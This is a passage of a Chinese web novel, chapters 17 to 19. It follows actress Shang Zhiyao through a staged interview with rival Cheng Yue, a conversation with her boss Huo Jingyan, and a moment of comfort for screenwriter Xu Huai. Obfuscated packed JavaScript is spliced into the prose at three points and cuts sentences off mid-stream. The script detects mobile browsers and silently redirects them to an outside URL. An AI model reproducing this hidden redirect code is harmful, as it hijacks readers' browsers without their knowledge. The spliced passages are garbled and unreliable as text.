霍景宴坐在沙发上,手里还捏着刚才没看完的报纸,目光落在门口的方向,手指无意识地摩挲着报纸边缘。 他忽然笑了,拿起茶几上的玻璃杯喝了一口温水。温度刚好,却没刚才那么暖了。 他看着空荡荡的门口,又看了看茶几上那片被捏变形的吐司,还有掉在地板上的吐司边,眼神里的无奈渐渐褪去,多了点兴味。 这个女人,还真是有意思。 明明前一秒还在笨拙地模仿,下一秒就能干脆地掀翻“剧本”,连句抱怨都没有,反而还不忘提醒他注意颈椎。 霍景宴靠在沙发上,闭上眼睛,脑海里又浮现出她刚才攥着杯子的样子指尖发白,却还硬撑着装软,像只明明爪子很尖,却非要收起锋芒的猫。 17. 第 17 章 尚知遥坐在保姆车的后座,指尖划过平板电脑上密密麻麻的访谈提纲,屏幕反光映出她眼底的认真。 距离《星光面对面》访谈录制还有三天,她却已经把提纲改到了第五版——不是薛颖要求的,是她自己要抠细节。 “遥姐,你看这个,”前排的宋小棠突然转过身,递来一个文件夹,里面夹着打印好的照片和视频截图,“我按时间戳整理的,从你进《知己》组第一天到现在,所有能体现敬业的素材都在这儿了。” 尚知遥接过来翻了翻,最先看到的是一张凌晨三点的剧本照片:泛黄的剧本纸边缘被咖啡渍浸得发皱,上面用不同颜色的笔标注着台词停顿、情绪转折,甚至还有“此处皱眉幅度要小,体现林薇的隐忍”这样的细节备注。 照片下方的时间戳显示是拍摄一场淋雨戏的前一天,那天她为了琢磨角色,在酒店房间熬到了天亮。 “这个好,”尚知遥指着照片,“到时候记者要是问‘为角色做了哪些准备’,我就能拿这个举例,比空说‘我很努力’实在多了。” 宋小棠点点头,又翻到下一页:“还有这个,你为了贴合林薇‘纤弱但有韧劲’的形象,两个月减重10斤,我把你每天的饮食记录和健身打卡都整理成表格了,旁边还附了营养师的证明,能证明你不是节食减肥,是健康减重。” 尚知遥看着表格里“早餐:全麦面包+水煮蛋+无糖豆浆;午餐:鸡胸肉+西兰花+糙米饭”的记录,忍不住笑了:“亏你还记得这么清楚,我那时候天天喊着想吃火锅,你还总拦着我。” “那不是为了遥姐的角色嘛,”宋小棠有点不好意思地挠挠头,“还有这个视频,是拍摄淋雨戏那天,摄影师偷偷录的——你反复NG了八次,导演都说‘可以了’,你还主动要求再来一条,说‘刚才情绪没到’,最后浑身湿透了,冻得直打哆嗦,还跟工作人员说‘辛苦大家了’。” 尚知遥点开视频,画面里的自己穿着单薄的旗袍,站在人工雨幕里,头发和衣服都湿透了,贴在身上,嘴唇冻得发紫,却还是对着镜头调整表情。 她想起那天拍完戏,霍景宴特意让司机把暖气开到最大,还递来一杯热姜茶,当时她还以为只是老板怕员工生病耽误剧组进程,现在想来,或许从那时候起,他对自己的态度就不一样了。 “这些素材都很好,”尚知遥把文件夹合上,递给宋小棠,“你再检查一遍,别漏了什么,尤其是时间戳和证明材料,一定要准确,不能有漏洞。” “放心吧遥姐,我都检查三遍了,”宋小棠拍着胸脯保证,“对了,薛颖姐刚才发微信说,程跃那边已经沟通过了,访谈的时候会按之前说好的,提一下你帮她梳理情绪逻辑的事,让你记得接话。” 尚知遥“嗯”了一声,手撑着脸静静思索。 程跃这个人,心思多,之前因为霸凌传闻,两家水火不容。 这次她愿意配合,多半是薛颖给了她好处——或许是承诺给她争取新的资源,或许是其他利益交换。 但不管怎么说,能借这个机会化解过往的不和传闻,对自己来说是件好事。 “我知道了,”尚知遥说,“到时候我会顺着她的话往下说,不仅要化解矛盾,还要顺便夸夸她,显得大气一点。对了,你再帮我查一下程跃最近的行程,看看她有没有什么值得提的优点,比如有没有参加公益活动,或者在某个节目里表现不错,到时候我好针对性地夸她。” 宋小棠立刻拿出手机,开始搜索程跃的近期动态:“哦,对了遥姐,程跃上周参加了一个关爱留守儿童的公益活动,还捐了一批图书,这个可以提一下,显得她有爱心。还有,她前段时间在一个音乐综艺里唱了首原创歌曲,反响还不错,虽然没火,但也能说明她在努力突破自己。” 尚知遥点点头:“好,就用这两个点。到时候我可以夸一下她演戏认真,还很有爱心地捐赠图书给留守儿童,再说些值得我学习之类的话,反正得把她夸到天上去。” 宋小棠忍不住感叹:“遥姐,你这情商也太高了吧,这么一说,不仅化解了矛盾,还能让观众觉得你很大度,愿意欣赏同行的优点。” 尚知遥笑了笑,没说话。 她在原来的世界里,做过几个月的客服,见惯了各种各样的人,也学会了怎么说话才能不得罪人,怎么才能在复杂的人际关系里站稳脚跟。 现在把这些经验用到娱乐圈里,竟然意外地好用。 接下来的两天,尚知遥每天都在反复打磨访谈提纲,不仅要准备好应对正面问题的答案,还要预想记者可能会提出的尖锐问题,比如“网上的黑料是不是真的”“为什么总是和霍总同框”“是不是靠关系上位”等等。 她甚至找来了之前类似的访谈视频,一遍遍地看,学习其他艺人是怎么应对刁钻问题的,哪些回答方式值得借鉴,哪些回答方式容易踩坑。 之前有个艺人被问到“和某明星是不是不和”时,直接说“我们关系很好,那些都是谣言”,结果被网友扒出两人私下零互动,反而坐实了不和传闻。 尚知遥吸取了这个教训,决定在回答类似问题时,不直接否认,而是用具体的事例来证明,这样更有说服力。 访谈录制当天,尚知遥早早地起床,精心打扮了一番。 她选了一件简约的裙子,搭配一双米色高跟鞋,既显得优雅大方,又不会过于张扬。妆容也是淡淡的裸妆,突出了她的五官优势,又不会让人觉得油腻。 到达录制现场时,程跃已经到了,正坐在休息室里补妆。 看到尚知遥进来,程跃停下手中的动作,嘴角扯出一个不太自然的微笑:“知遥姐,你来了。” 尚知遥走过去,在她旁边的椅子上坐下,语气自然地说:“嗯,刚到。你今天状态不错嘛,这件粉色的裙子很适合你。” 程跃愣了一下,显然没料到尚知遥会主动夸她,有点不好意思地说:“谢谢知遥姐,你的妆容也很好看,很有气质。” “是吗?我还担心会不会太素了呢,”尚知遥笑着说,“对了,上周你参加关爱留守儿童的公益活动,捐图书的事我都知道了,真的很有爱心,值得我学习。还有你在音乐综艺里的原创歌曲,我也听了,旋律很好听,歌词也写得很真诚,没想到你不仅演戏好,还这么有音乐才华。” 程跃的眼睛亮了一下,显然很开心被人认可:“谢谢知遥姐,我也是刚开始尝试原创,还有很多不足的地方,以后还要向你多学习。” “哪里哪里,互相学习嘛,”尚知遥说,“咱们都是演员,应该互相支持,共同进步,这样才能给观众带来更好的作品。” 程跃点点头,之前对尚知遥的芥蒂似乎消散了不少,两人又聊了一会儿关于《知己》拍摄的趣事,气氛变得越来越融洽。 很快,访谈开始了。主持人在业内很知名,风格亲切又不失专业,是霍景宴专门安排的。 开场,主持人先是简单介绍了《知己》这部剧的剧情和播出后的反响,然后就把话题引到了尚知遥和程跃身上。 “我们知道,《知己》这部剧里,尚知遥饰演的林薇和程跃饰演的苏晴,是一对性格反差很大的角色,而且还有不少对手戏。我很好奇,你们在拍摄过程中,有没有因为角色性格的差异,产生过什么分歧或者有趣的事?”主持人笑着问道。 程跃看了尚知遥一眼,按照之前说好的,先开口回答:“其实刚开始拍摄的时候,我对苏晴这个角色的理解还不够深入,有一场戏,我因为太紧张,忘词了,当时特别尴尬。是知遥姐主动过来帮我梳理情绪逻辑,她告诉我‘苏晴这个角色,虽然外表柔弱,但内心很坚定,你在说这句台词的时候,要突出她的坚定,而不是紧张’,还陪我一起练习了好几遍,最后我才顺利完成了拍摄。真的很感谢知遥姐。” 尚知遥接过话头,微笑着说:“其实没什么,大家都是同事,互相帮助是应该的。而且小程那天发着烧还坚持拍戏,这种敬业态度真的值得我学习。我记得那天她体温都快到38度了,导演让她休息,她还说‘没关系,我能行,别耽误拍摄进度’,最后硬是咬着牙拍完了那场戏。还有,小程不仅演戏认真,还很有爱心,上周参加关爱留守儿童的公益活动,捐了一批图书,我觉得这种有社会责任感的艺人,值得我们大家学习。另外,她前段时间在音乐综艺里的原创歌曲,我也听了,旋律很好听,歌词也很真诚,能看出她在努力突破自己,尝试不同的领域,这种精神也很可贵。” 尚知遥的话一说完,现场立刻响起了掌声。主持人李姐也笑着说:“没想到尚知遥不仅演技好,还这么大度,愿意欣赏同行的优点,真的很难得。看来你们私下里的关系也很好,之前网上传的那些不和传闻,应该都是谣言吧?” 尚知遥笑着说:“其实网上的很多传闻都是没有根据的,我和小程私下里关系很好,经常一起讨论剧本,分享拍戏的心得。我们都觉得,作为演员,最重要的是把角色演好,给观众带来好的作品,而不是把时间和精力浪费在无谓的争执和谣言上。” 程跃也跟着点头:“对,我和知遥姐私下里真的很聊得来,她教会了我很多拍戏的技巧,我很感谢她。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她顿了顿,继续说:“霍总是我们公司的老板,也是我的前辈,从试镜《知己》开始,他就一直很照顾我这个新人。在拍摄过程中,他给了我很多专业的建议,比如怎么更好地把握角色的情绪,怎么和其他演员配合等等。私下里,我们更多的是工作交流,比如讨论剧本的修改方向,或者公司未来的发展规划。我很感谢霍总对我的帮助和支持,也很珍惜这份师徒情谊。” “当然,我也理解大家为什么会这么关注这件事,毕竟在娱乐圈里,艺人的私人生活很容易被放大。但我还是希望大家能把更多的注意力放在我的作品上,而不是我的私人生活。我会继续努力,拍出更多好的作品,来回馈大家的支持和喜爱。” 尚知遥的回答既没有否认和霍景宴的关系,也没有承认,而是用“公司团建”“工作交流”“师徒情谊”等理由,巧妙地化解了记者的追问,同时还不忘引导观众关注自己的作品,既保留了话题度,又避免了过度捆绑霍景宴,引起对方的反感。 那个提问的记者还想再追问,却被主持人打断了:“好了,时间差不多了,我们下半场访谈马上就要开始了,大家有什么问题,我们可以在访谈结束后的互动环节再提。” 记者们只好散开,尚知遥跟着李姐走进了演播厅。 宋小棠凑到她身边,小声说:“遥姐,你刚才回答得太好了,既没得罪人,又化解了危机,太厉害了!” 尚知遥笑了笑,其实她心里也有点紧张,毕竟霍景宴是公司的老板,要是回答得不好,很可能会影响两人的关系。 不过还好,她的回答应该没什么问题,既维护了自己的形象,也给了霍景宴足够的尊重。 下半场访谈继续进行,气氛比之前更融洽了。 尚知遥和程跃配合得越来越默契,两人不仅分享了很多拍戏的趣事,还一起演唱了《知己》的片尾曲,赢得了现场观众的阵阵掌声。 访谈结束后,尚知遥刚走出演播厅,就收到了系统的提示音: 【叮咚!检测到宿主在访谈中表现出色,成功化解与程跃的不和传闻,巧妙回应与霍景宴的绯闻,提升个人形象与路人缘。】 【霍景宴好感度+3,当前好感度73%。】 【“尚知遥高情商回应”词条登上热搜二十,相关话题讨论量突破500万,宿主路人缘指数+5,当前路人缘指数60%(从“中性偏正面”转为“正面”)。】 尚知遥看到系统提示,心里松了一口气。这次访谈不仅化解了潜在的危机,还提升了自己的好感度和路人缘,算是圆满成功了。 她刚想上车回家,手机就响了起来,屏幕上闪烁着“薛颖”两个字。 18. 第 18 章 “小尚,这次访谈表现不错,”薛颖的语气里带着满意,“尤其是回应霍总绯闻的时候,回答得很得体,既没给公司惹麻烦,又没让霍总难堪。还有,你主动夸程跃的事,我已经跟她那边沟通过了,她对你的印象好了很多,以后你们合作的机会还多,保持好关系很重要。” “谢谢颖姐,我知道了,”尚知遥说,“以后我会继续努力,不会让你失望的。” “嗯,”薛颖说,“对了,霍总刚才给我发微信,问你访谈结束了没有,让你结束后给他回个电话。” 尚知遥愣了一下,随即反应过来:“好,我马上给他回电话。” 挂了薛颖的电话,尚知遥拨通了霍景宴的号码。 电话很快就通了,霍景宴的声音从听筒里传来,带着一丝不易察觉的温柔:“访谈结束了?累不累?” “还好,不算太累,”尚知遥说,“谢谢霍总关心。您找我有事吗?” “没什么大事,”霍景宴说,“就是刚才看了你的访谈片段,觉得你对林薇这个角色的理解很深刻,想跟你聊聊后续剧本的修改方向。另外,你今天回应绯闻的方式很好,既维护了自己的形象,也没给公司带来负面影响,值得表扬。” 尚知遥心里一暖:“谢谢霍总认可,我只是做了我应该做的。关于剧本的修改方向,我也有一些想法,想跟您汇报一下。” “好啊,”霍景宴说,“我现在在公司,你要是方便的话,可以来公司一趟,我们当面聊。要是累了,也可以明天再过来,不急。” 尚知遥看了看时间,才下午四点多,不算太晚:“我现在过去吧,正好也想跟您详细汇报一下。” “好,那我在办公室等你,”霍景宴说,“路上注意安全。” 挂了电话,尚知遥对宋小棠说:“你先送我去公司,我跟霍总聊完事后,再一起回家。” 宋小棠点点头:“好的遥姐。” 保姆车缓缓驶向丰秋传媒大楼,尚知遥靠在车窗上,看着窗外的车水马龙,心里思绪万千。 和霍景宴单独相处,总让她有种莫名的不安感。 仿佛他们之间的联系都是由他来掌握,而她自己只能亦步亦趋,看着这个男人的脸色行事。 看着手机上自己挂在热搜上的名字,她又忍不住叹了口气。 为了得到更多资源和流量,为了在娱乐圈站稳脚跟,当然,更为了她的攻略任务…… 算了。 “遥姐,到了。”宋小棠的声音打断了尚知遥的思绪。 尚知遥回过神,推开车门,走下车。 丰秋传媒大楼门口的保安看到她,立刻露出了礼貌的微笑:“尚小姐,您好,霍总已经在办公室等您了。” 尚知遥点点头,说了声“谢谢”,然后走进了大楼。 大厅里人来人往,都是穿着职业装的工作人员,看到尚知遥,有人会主动打招呼,眼神里带着敬佩和好奇。 尚知遥微笑着回应,脚步不停,径直走向电梯。 电梯里只有她一个人,镜面墙壁映出她的身影。她 整理了一下身上的衣裙,确保没有褶皱,然后深吸了一口气。 接下来和霍景宴的谈话很重要,不仅关乎《知己》后续剧本的修改,还可能影响到她未来在公司的发展。 电梯很快到达了三十层,门一开,映入眼帘的是一条宽敞的走廊,走廊尽头就是霍景宴的办公室。 办公室门口的秘书看到尚知遥,立刻站起身:“尚小姐,您来了,霍总正在里面等您,请进。” 尚知遥推开门,走进办公室。霍景宴的办公室很大,装修风格简约而奢华,落地窗外可以看到整个城市的景色。 霍景宴正坐在办公桌后面,看着文件,听到动静,抬起头,看向尚知遥,嘴角露出一丝微笑:“来了?坐吧。” 尚知遥在办公桌前的椅子上坐下,将带来的剧本和笔记本放在桌上。“霍总,谢谢您抽出时间见我。” “不用客气,”霍景宴合上文件,身体微微前倾,“今天的访谈我看了,你表现得很好,尤其是对林薇这个角色的解读,很有深度。我找你过来,就是想跟你聊聊后续剧本的修改方向。” 尚知遥点点头,翻开笔记本:“霍总,关于后续剧本,我有一些想法想跟您汇报。我觉得林薇这个角色……” 霍景宴认真地听着,时不时点头:“你的想法很好,我很高兴你能有自己的思考。” 尚知遥莞尔一笑,继续有条不紊地阐述自己对剧本的想法,直到霍景宴打断她。 “今天就到这儿吧,你的想法很有见地,看来你对这个角色真的很用心。不过剧本的具体修改方向还需要和编剧团队进一步沟通,我会让薛颖及时通知你的。” “好的,霍总,”尚知遥说,“如果需要我配合沟通,随时跟我说。” 霍景宴点点头,然后话题一转:“还有,今天访谈中,记者问你和我的关系,你回答得很好,既没有否认也没有承认,还引导观众关注你的作品,很聪明。” 尚知遥有些不好意思地笑了笑:“谢谢霍总夸奖,我只是不想因为私人生活影响到工作,也不想给公司带来麻烦。” “你能这么想,很好,”霍景宴说,“在娱乐圈里,艺人的私人生活很容易被放大,稍有不慎就会引发争议。你要记住,无论什么时候,作品才是最重要的,只有拿出好的作品,才能得到观众的认可和尊重。” “我记住了,霍总,”尚知遥认真地说,“我会一直把作品放在第一位,不会让您失望的。” 霍景宴看着尚知遥,眼神里带着一丝欣赏:“我相信你。对了,《知己》播出后,反响很好,收视率也一直在上升,公司打算趁这个机会,为你安排一些宣传活动,比如粉丝见面会、综艺节目等等,进一步提升你的知名度。你有没有什么想法?” 尚知遥想了想,说:“霍总,我觉得宣传活动可以多安排一些和粉丝互动的环节,比如签售会,线上直播跟粉丝聊天等,这样可以拉近我和粉丝之间的距离,让他们更了解我。另外,综艺节目方面,我希望能参加一些有内涵、有深度的节目,比如文化类、访谈类节目,而不是单纯的娱乐综艺,这样可以展现我的另一面,提升我的个人形象。” 霍景宴目光审视着她,缓缓点了点头:“你的想法很合理,我会让宣传部门按照你的想法来安排。不过也要注意休息,不要太累了。宣传活动虽然重要,但身体才是革命的本钱。” “谢谢霍总……关心,我会注意的。”尚知遥有些意外他会说这些和工作无关的事,毕竟以前他总是一副“在公司不要和我走得太近”的样子。 两人又聊了一会儿工作上的事情,眼看天色渐渐暗了下来,尚知遥起身告辞:“霍总,时间不早了,我就不打扰您了,有什么事情您随时跟我联系。” 霍景宴也站起身:“好,我送你下去。” 尚知遥连忙说:“不用了霍总,您忙吧,我自己下去就可以了。” “没关系,我正好也要下去一趟。”霍景宴说着,拿起外套,和尚知遥一起走出了办公室。 电梯里,两人都没有说话,气氛有些安静。尚知遥看着电梯里的数字不断下降,心里有些紧张,不知道该说些什么。 就在这时,霍景宴突然开口:“尚知遥,你有没有想过,未来要成为什么样的演员?” 尚知遥想了想,然后认真地回答:“我想成为一名有实力、有口碑的演员,能够塑造出更多不同类型的角色,给观众带来更多好的作品。我不想只靠流量和热度,我希望能通过自己的努力,得到业内和观众的认可。” 霍景宴点点头:“目标很明确, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到家后,尚知遥打开手机,看到“尚知遥高情商回应”的词条已经上升到了热搜十五,相关话题的讨论量突破了800万。她点开评论区,看到里面大多是正面的评价: “尚知遥简直是人精!既化解了绯闻,又夸了同行,情商太高了!” “从今天的访谈来看,尚知遥不仅演技好,人品也不错,值得粉!” “遥遥和霍总就是单纯的老板和员工的关系啊,希望大家多关注她的作品,少关注私人生活。” “尚知遥是不是上公关课了啊,简直是教科书一样的回答!” 就在这时,手机响了,是许淮打来的。尚知遥有些意外,许淮很少主动给她打电话,一般都是通过微信沟通工作上的事情。 她接起电话:“许老师,您好,有什么事情吗?” “今天的访谈我看了,”许淮的声音从听筒里传来,带着一丝赞许,“你对林薇这个角色的解读很到位,尤其是提到‘林薇的内心孤独和挣扎’,很有见地。看来你在这个角色上花了很多心思。” 尚知遥有些不好意思地说:“谢谢许老师夸奖,我只是做了我应该做的。其实,很多想法都是从您的剧本里得到的启发,您写的剧本很细腻,让我很容易就能代入角色。” “你能这么说,我很开心,”许淮说,“剧本是基础,但最终还是要靠演员来呈现。你能把林薇这个角色演得这么好,说明你有很强的理解力和表现力。关于后续剧本的修改,霍总跟我说了你的想法,我觉得很好,很有创意。明天我会组织编剧团队开会,讨论具体的修改方案,不过在那之前……” 尚知遥前面本来还听得美滋滋的,忽然听到这转折,心里“咯噔”一声。 “我有个礼物要送给你,只给你一个人的。所以……明天请你抽空来找我一趟,记得要提前跟我沟通好时间,别跟开会的时间撞了。” 尚知遥这才松了一口气,回过神来又觉得有些意外。 许淮几乎没有跟她聊过什么剧本、角色、演戏之外的事情,这次突然要送她本人一个礼物…… 她真怀疑这个礼物是不是送给林薇而不是送给她的。 19. 第 19 章 尚知遥坐在保姆车后座,指尖反复摩挲着手机屏幕上霍景宴的联系方式,电梯里那句“我是你的金主,不是你的老师”像颗投入湖面的石子,在她心里漾开层层涟漪。 她终于后知后觉地明白,霍景宴要的“琢磨”,从来不是她在工作里的谨小慎微、滴水不漏,而是工作之外的、跨越了“老板与下属”边界的亲近,是她愿意花心思讨好他、琢磨他喜好的温度,是偶尔卸下防备的撒娇与依赖。 当晚,尚知遥翻来覆去没睡好,脑子里全是怎么“讨好”霍景宴的细节。 她知道霍景宴有轻微的胃病,每次开会超过两小时就会下意识按揉胃部;他不喜欢太甜的点心,却唯独对城西那家老铺子的绿豆糕情有独钟;他总把衬衫袖口扣得严严实实,却在手腕内侧纹了个极小的星芒图案——跟安柠有关的东西,他总是藏得很好。 第二天清晨,尚知遥特意起了个大早,“亲自”在app上找了个城西代排买绿豆糕,又“亲自”让宋小棠准备了温热的养胃粥,装在保温桶里。 保姆车刚到剧组门口,就看到霍景宴的黑色轿车停在不远处,他正靠在车门上打电话,黑色风衣被风掀起一角,露出里面熨帖的白衬衫。 尚知遥深吸一口气,提着保温桶快步走过去,故意在他挂电话的瞬间,轻轻撞了他一下。 “哎呀,霍总,对不起!”她立刻道歉,声音放得又软又甜,“都怪我走路不小心,您别生气好不好?” 霍景宴的身体僵了一下,低头看着依偎在自己面前的女人。 她的头发用一根简单的珍珠发圈挽着,几缕碎发垂在脸颊旁,长长的睫毛像小扇子一样忽闪,指尖擦过他皮肤时,带着淡淡的栀子花香,是她常用的护手霜味道。 他喉结不自觉滚动了一下,伸手把她拉起来,语气却依旧带着惯有的严肃:“毛手毛脚的,多大的人了还这么不小心。” 尚知遥顺势靠在他手臂上,故意晃了晃身子,像只讨食的小猫:“人家不是着急给您送早餐嘛,您昨天开会到半夜,肯定没好好吃饭,我特意去城西买了您爱吃的绿豆糕,还亲手做了养胃粥,您快尝尝。” 她说着,打开保温桶,一股淡淡的绿豆香飘出来。 霍景宴看着她眼底亮晶晶的期待,心里的严肃像被温水泡过的糖,悄悄化了一角。 他接过保温桶,却没立刻吃,反而挑眉看向她:“这么殷勤,是有什么事求我?” 尚知遥早就等这句话了,立刻从宋小棠手里拿过手机,点开那个米白色小方包的图片,凑到霍景宴面前,故意嘟着嘴:“霍总您真聪明!我就是看中这个包了,可惜专柜断货了,您人脉广,肯定能买到对不对?” 她一边说,一边悄悄往他身边凑了凑,温热的呼吸扫过他的脖颈:“要是您愿意帮我买,我……我可以给您个奖励哦。” 霍景宴的身体瞬间绷紧,眼神里闪过一丝慌乱,却依旧嘴硬:“想要包就直说,不用搞这些小动作。公司有合作的奢侈品品牌,让助理给你订一个就是了。” “那多没意思呀,”尚知遥故意踮起脚尖,凑到他耳边,声音又软又糯,“我想换个方式要嘛。要不……我亲您一口,换这个包?” 话音刚落,她不等霍景宴反应,飞快地在他脸颊上亲了一下——柔软的唇瓣擦过他的皮肤,带着淡淡的牛奶香,像羽毛轻轻挠在心上。 霍景宴的瞳孔猛地收缩,整个人都僵住了,耳尖以肉眼可见的速度变红。 他下意识抬手摸了摸被亲过的地方,严肃的神情瞬间裂开一道缝,语气却依旧硬邦邦的,带着故作嫌弃的别扭:“尚知遥!你、你能不能自重一点?想要物质上的东西,不需要用这种方式,公司给你的资源还不够多吗?” “可我就想跟您换嘛,”尚知遥故意噘着嘴,眼底却藏着笑意,“霍总这么说,是不是不喜欢我投怀送抱呀?我明白了,那……”她故意伸出手指,轻轻碰了碰他的下巴,“我再主动一点?” 霍景宴被她逗得没了脾气,又气又无奈,最后只能别过脸,声音低得像蚊子叫:“包我让助理订了,以后不许再这样……没大没小。” 尚知遥心里偷着乐,知道自己这步“讨好”走对了。 她看着霍景宴耳尖的红,故意凑近他,压低声音:“谢谢霍总!那我以后要是还想要别的东西,是不是也可以用这种方式跟您换呀?” “你敢!”霍景宴瞪了她一眼,却没真的生气,反而把手里的保温桶递回给她,“粥快凉了,你先喝,我去跟导演对接一下今天的拍摄计划。” 说完,他几乎是落荒而逃,快步走向剧组的帐篷,背影都带着一丝慌乱的僵硬。 就在这时,剧组的场务跑过来,气喘吁吁地说:“尚老师!许老师找您呢,在编剧组的帐篷里,好像……好像跟导演吵起来了,声音特别大!” 尚知遥心里一紧,立刻提着保温桶往编剧组的帐篷跑。 刚走到门口,就听到许淮带着愤怒的声音从里面传出来:“我绝对不允许加感情戏!林薇这个角色的核心是‘自我救赎’,不是‘找个男人来救’!她从小在孤儿院长大,被领养又被抛弃,早就不信任何人了,怎么可能突然对男配动心?这不符合她的人物逻辑,是对角色的亵渎!” “许淮,你别太固执了!”导演的声音更冲,几乎是吼出来的,“现在的观众就吃‘美强惨+救赎恋’这一套!加一场男配在雪地里给她送围巾的戏,既能拉满CP感,又能让观众心疼林薇,收视率至少能涨两个点!你懂不懂什么叫市场?” “市场?你眼里只有市场和收视率吗?”许淮的声音带着压抑的哽咽,“林薇不是你用来博眼球的工具,她是我用心血堆出来的角色,这个剧本我写了三年!要是没有我的本子,你以为你有拍戏的机会吗?!” “你!你简直不可理喻!”导演气得摔了剧本,纸张散落一地,“这戏我是导演,我说了算!今天这场感情戏拍也得拍,不拍也得拍~” 说完,导演猛地推开帐篷门,差点撞到尚知遥,他狠狠瞪了她一眼,嘴里骂骂咧咧地走了。 尚知遥走进帐篷时,看到许淮正蹲在地上捡剧本纸,手指因为用力而泛白,指缝间还夹着一根没熄灭的烟,烟灰掉了一地,烫得他指尖发红,却浑然不觉。 “许老师,您没事吧?”尚知遥赶紧走过去,帮他捡剧本纸,却在看到他手臂时愣住了。 他的衬衫袖子挽到了肘部,一道十厘米长的疤痕赫然露在外面,颜色已经变浅,却依旧狰狞,边缘的皮肤凹凸不平,显然是被利器划伤后留下的旧伤。 许淮察觉到她的目光,像被烫到一样,猛地想把袖子拉下来,却被尚知遥伸手按住了手腕。她的手指轻轻覆在他的疤痕上,动作轻柔得像怕碰碎他,声音放得又轻又软:“许老师,没关系的。我也有不想让人看到的过去,比如……”她卷起自己的裤脚,露出膝盖上一道浅浅的疤痕,“我刚毕业的时候做客服,为了赶时间给客户送文件,在雪地里摔了一跤,膝盖缝了五针。那时候觉得特别丢人,夏天都不敢穿短裤,后来才知道,每个人的疤都是故事,不用藏着掖着。” 许淮的身体僵了很久,才慢慢抬起头,眼底是从未有过的脆弱,红血丝爬满了眼白,像个受了委屈却不敢哭的孩子。他蹲在地上,双手抱着头,声音像被水泡过一样发沉,带着抑制不住的颤抖:“这道疤……是我八岁那年留的。我爸是个酒鬼,每次喝醉了就打我妈,那天他喝多了,拿着水果刀要捅我妈,我扑上去拦他,他就用刀划了我胳膊……” 他的肩膀剧烈颤抖起来,指尖死死攥着剧本纸,纸页被捏出深深的褶皱:“我妈抱着我哭,说对不起我,说是她没保护好我。从那以后,我就只喜欢躲在房间里写东西,只有在故事里,我才能决定每个人的命运,才能让像我妈一样的好人不被欺负,才能让像我爸一样的坏人得到惩罚。” 尚知遥没有说“都过去了”“别难过”之类的空话,只是蹲下来,把自己手里的保温桶递到他面前,轻声说:“我买了绿豆糕,不太甜,要不要尝尝?胃里暖了,心里也会舒服点。” 许淮抬起头,眼底还带着泪雾,却还是接过了保温桶,打开盖子,拿起一块绿豆糕,慢慢放进嘴里。 甜而不腻的味道在舌尖散开,他忽然想起小时候,母亲偷偷给他买绿豆糕的场景,眼眶瞬间更红了。 “林薇……其实就是另一个我,”许淮咽下绿豆糕,声音低得像耳语,“她害怕温暖,是因为怕温暖会消失;她拒绝别人的帮助,是因为怕依赖之后会被抛弃。我不想让她加感情戏,不是不懂市场,是怕她变成‘需要男人拯救’的角色,怕她失去自己的锋芒,就像……就像我小时候,以为抓住我妈的手就能安全,最后还是看着她被我爸逼走一样。” 尚知遥拿起一张散落的剧本纸,看着其中一段林薇的独白,轻声说:“许老师,您看这里。林薇说‘我不需要别人救我,我自己就能站起来’,其实这句话就说明她不是真的坚强,是在硬撑,既符合她的人物逻辑,又能让观众看到她的脆弱……许老师,要不要聊聊这部分怎么修改会更自然?” 许淮看着剧本上的标注,似乎在思考什么,眼睛慢慢亮了起来。 他赶紧拿出笔,在剧本上写下批注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617953|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笔尖划过纸页的声音,是他压抑了很久的激动:“对!就是这个感觉!林薇的坚强是装出来的,她的硬撑才是真的!你太懂她了,知遥,比我自己还懂!” 两人坐在帐篷里,一边改剧本一边聊角色,不知不觉就到了中午。 宋小棠送来盒饭时,看到他们面前摊着的剧本上写满了密密麻麻的批注,许淮的眼眶还是红的,却已经能笑着跟尚知遥讨论台词的语气,忍不住感叹:“遥姐,许老师,你们也太投入了吧,盒饭都凉透了,我再去给你们热一下!” 许淮这才反应过来,赶紧把剧本收起来,从自己的背包里拿出一个包装得很精致的盒子,蓝色的丝绒盒子上系着白色的蝴蝶结,看起来很用心。 他把盒子递到尚知遥面前,手指因为紧张而微微发抖,耳朵尖也红了:“知遥,这个……这个给你,算是……谢谢你愿意听我说那些废话,也谢谢你懂林薇。” 尚知遥接过盒子,轻轻打开,里面是一支银质的钢笔,笔身上刻着细密的缠枝莲纹样——和林薇在剧中常穿的旗袍上的花纹一模一样,连缠绕的弧度都分毫不差。 许淮的眼睛里带着兴奋的光,指着钢笔上的花纹,语速都变快了:“我特意让工匠按林薇旗袍上的花纹刻的,你看,这纹样看着柔,其实每一笔都带着韧劲,就像林薇的性格。她要是写日记,肯定会用这种钢笔,她的字应该和她的人一样,笔画又细又硬,像憋着劲从石头缝里长出来的小草,看着弱,其实扎得深。” 尚知遥握着钢笔,冰凉的金属触感从指尖传来,心里却像被什么东西轻轻蛰了一下,泛起一阵细微的酸涩。 她看着许淮兴奋得发亮的眼睛,听着他嘴里不断出现的“林薇”,忽然明白,这份礼物,从来不是给“尚知遥”的,而是给“能演活林薇的尚知遥”的。 他所有的用心和温柔,都是因为她能读懂他笔下角色的灵魂,不是因为她是她自己。 真可笑,在霍景宴面前扮演安柠也就算了,没想到在许淮这个她自认为的知己面前,她竟然也要时时刻刻扮演她人。 